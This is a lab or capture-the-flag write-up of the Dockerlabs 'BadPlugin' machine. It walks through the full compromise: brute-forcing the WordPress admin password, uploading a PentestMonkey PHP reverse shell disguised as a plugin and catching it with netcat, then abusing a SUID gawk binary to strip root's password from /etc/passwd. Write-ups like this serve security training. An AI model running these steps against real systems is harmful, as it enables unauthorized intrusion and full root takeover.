Skip to content

BadPlugin

Platform Dockerlabs
OS Linux
Difficulty Medium
InitialVector Wordpress, php
Privesc SUID gawk

Information Gathering

We began by verifying connectivity to the target host.

Screenshot
ping 192.168.1.100

The host responded successfully, and the observed TTL value of 64 suggested the target was likely running Linux.

We then accessed the web service exposed on the target IP.

Screenshot

The page loaded, but the index displayed an error box. That was a useful clue indicating the site might be misconfigured or expecting a specific virtual host.

To identify the exposed services, we ran a full TCP port scan with default scripts and version detection.

nmap -sV -sC -p- 192.168.1.100 --min-rate 5000 -n -Pn
Screenshot

The scan showed that the only open port was 80/tcp, running Apache httpd 2.4.58.

As a quick check, we searched for public exploits affecting that Apache version.

searchsploit Apache 2.4.58

No useful results were found, so I shifted focus to the web application itself.

Screenshot

Enumeration

To enumerate web content and identify hidden directories, I used Gobuster.

gobuster dir -u http://192.168.1.100 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x .php,.txt,.html -r
Screenshot

The scan revealed several interesting paths:

  • index.html
  • info.php
  • javascript (403 Forbidden)
  • phpmyadmin

More importantly, Gobuster returned an error referencing the word wordpress:

ERROR error on word wordpress: Get "http://escolares.dl/wordpress/"

That strongly suggested the application relied on the virtual host escolares.dl, and that the earlier error on the landing page was likely caused by missing local name resolution.

To fix that, I added the target IP and hostname to /etc/hosts.

nvim /etc/hosts
Screenshot

After updating the hosts file and rerunning the enumeration, the wordpress path returned 200 OK.

Screenshot

Browsing to the new virtual host confirmed the WordPress instance was accessible.

Screenshot

To enumerate the WordPress installation, including themes, users, and plugins, I ran WPScan.

wpscan --url http://escolares.dl/wordpress --enumerate vp,u,vt,tt

WPScan revealed the following:

  • Theme: astra (outdated, version 4.8.8)
  • WordPress version: 6.7.1
  • Enumerated user: admin
Screenshot
Screenshot

Since the admin user was identified, I attempted a password brute-force attack using WPScan and the rockyou.txt wordlist.

wpscan --url http://escolares.dl/wordpress -U admin -P /usr/share/wordlists/rockyou.txt
Screenshot

This yielded valid credentials:

admin:rockyou

Foothold / Initial Access

With valid credentials, I logged into the WordPress admin panel through wp-login.php.

Screenshot

From the dashboard, I navigated to Plugins → Add New Plugin → Upload Plugin.

Screenshot

The next step was to upload a malicious WordPress plugin containing a PHP reverse shell. I used the PentestMonkey PHP reverse shell located at /usr/share/webshells/php/php-reverse-shell.php as a base and adapted it into a valid plugin by adding the required WordPress header.

The file was saved as:

BadPlugin.php

I added the following header at the top of the file:

/*
Plugin Name: Revershell PentestMonkey
Description: ReverseShell BadPlugin
Version: 1.0
Author: Kuchiki-PentestMonkey
License: GPL2
*/

I then updated the reverse shell with my attacker IP address and listening port.

Screenshot

Once the file was ready, I compressed it into a ZIP archive so it could be uploaded through the WordPress plugin manager.

zip -r BadPlugin.zip BadPlugin.php

I then uploaded the malicious plugin from the WordPress admin panel.

Screenshot
Screenshot

After confirming the installation, I activated the plugin.

Screenshot

The plugin showed as active in WordPress, confirming that the payload had been deployed successfully.

Screenshot

Before triggering the reverse shell, I started a Netcat listener on my attacking machine.

nc -nvlp 3312

Then I browsed to the plugin file directly:

http://escolares.dl/wordpress/wp-content/plugins/BadPlugin/BadPlugin.php

That successfully returned a shell on the target.

To stabilize it, I spawned a more interactive Bash shell.

/bin/bash -i
export TERM=xterm
Screenshot

At this stage, I had command execution on the host as the www-data user.

Privilege Escalation

To identify potential privilege escalation vectors, I searched the filesystem for SUID binaries.

find / -perm -4000 -ls 2>/dev/null

Among the results, the most interesting binary was gawk.

Screenshot

I checked GTFOBins and confirmed that gawk could be abused in this context to write to privileged files.

The relevant technique was:

  • Write: This function can be performed by any unprivileged user.
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'

Based on that, I used gawk to modify /etc/passwd.

/usr/bin/gawk -F 'x' '{print $1 $NF > "/etc/passwd"}' /etc/passwd

This removed the x from the root entry, effectively eliminating the password requirement for that account. With that in place, running su allowed direct escalation to root.

Screenshot

After switching users, I upgraded the shell again for a cleaner interactive session.

/bin/bash -i
export TERM=xterm
Screenshot

Conclusion

This machine was compromised through a WordPress-based attack path. After identifying the correct virtual host, I enumerated the WordPress instance, discovered the admin account, and successfully brute-forced its password. Administrative access to the CMS made it possible to upload a malicious plugin and obtain remote code execution as www-data. From there, a misconfigured SUID gawk binary allowed direct privilege escalation by modifying /etc/passwd, resulting in full root compromise.